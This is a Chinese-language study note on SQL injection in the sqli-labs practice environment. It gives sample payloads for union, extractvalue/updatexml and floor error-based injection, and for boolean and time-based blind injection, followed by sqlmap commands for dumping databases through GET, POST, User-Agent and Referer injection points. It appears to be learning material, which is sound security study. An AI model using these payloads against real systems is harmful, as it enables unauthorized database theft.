SQL入门
总结1(2021.8.11)
1、普通联合查询
样例payload:
Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
最基础的;不解释了。
2、extractvalue、updatexml报错注入
样例payload:
Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database() limit 0,1))),3 %23
Less-5/?id=1' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database() limit 0,1)),1),3 %23
解释:将需要查询的内容前置一个非法字符,写在两函数本应填写路径参数的位置,制造非法路径来获取回显信息,返回如XPATH syntax error: '~emails'形式
关键点:
(1)函数原型extractvalue(目标xml文档,xml路径)
updatexml(目标xml文档,xml路径,更新的内容)
(2)0x7e: ‘~’ ,常用非法字符
3、floor报错注入
样例payload:
Less-5/?id=1' union select 1,count(1),3 from information_schema.tables group by concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1)) #
(注:目前在本机Windows下,该注入方法因Can't write; duplicate key in table错误无法使用;不过可在buuoj使用)
解释:当最基本的union select查询无回显,但报错信息仍旧回显时,制造主键重复的错误来获取信息,返回如Duplicate entry '0emails' for key 'group_key' 形式。
关键点:(1)第一个union select后的count(1);
(2)之后的group by;
(3)再之后的concat(floor(rand()*2),(想查询的东西));
(4)最后limit x,1 查看第x行回显;若不加会回显Subquery returns more than 1 row
4、布尔盲注
需配合burp intruder食用。
样例payload:
Less-5/?id=-1' or (select ascii(substr(table_name,§1§,1)) from information_schema.tables where table_schema=database() limit 0,1)=§109§ %23
解释:当使用1-3注入方法均无含有效信息的回显时,利用布尔盲注逐字符试出想要查询的内容。
本题,当payload为真时,页面上会有You are in...........
字样,但payload为假时,啥都没有。
使用intruder Cluster bomb时,效果如图:
5、时间盲注
需配合sqlmap食用
样例payload:
Less-9/?id=-1' or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>102,sleep(2),0) %23
解释:当无论怎么搞,页面回显都巍然不动时,使用时间盲注。当满足if后面的条件时,页面会来回跳一段时间。此法也需要逐字符探测,且不能用intruder。
关键点:if(a,b,c) 如果a为真,就执行b,否则执行c。
Sqlmap使用(2021.8.31)
在sqlmap页面按【shift】右键打开powershell
0.预备知识
常用Sqlmap参数:
【--dbs】显示数据库
【-D “数据库名”】指定数据库
【--tables】显示该数据库里的表
【-T “表名”】指定表
【--colums】显示该表的字段名
【-C “字段名1,字段名2..”】指定字段
【--dump】显示字段中所有内容
- 注入方式(注入点)
(1)GET型注入:
样例:
python sqlmap.py -u http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1
参数【-u】表示探测URL;注意GET参数一定要添加,否则会出问题。
成功后,会回显各种可用的注入:
第一行会有【Parameter:id(GET)】提示注入方式。
若不成功(无法通过GET方式注入),会回显:
此时需尝试其他注入点注入。
(2)POST型注入:
抓包->保存->指定注入点->干活
在burp里抓到如上的包,指定注入点为【uname】(那个【*】起到的就是指定效果)
将其另存为一个TXT文本,用其跑sqlmap:
python sqlmap.py -r C:\Users\Dell\Desktop\sql.txt
其会识别注入点:
成功标志:
(如果不标注注入点,乱注一气,也可能成功:)
(3)其他类似POST型注入的注入
以下列举的注入点,注入方式同(2);但是不标出注入点,不能成功。
不标出注入点 但设置【--level=3】可能成功,但耗时很长。
注入点为【User-Agent】的注入
注入点为【Referer】的注入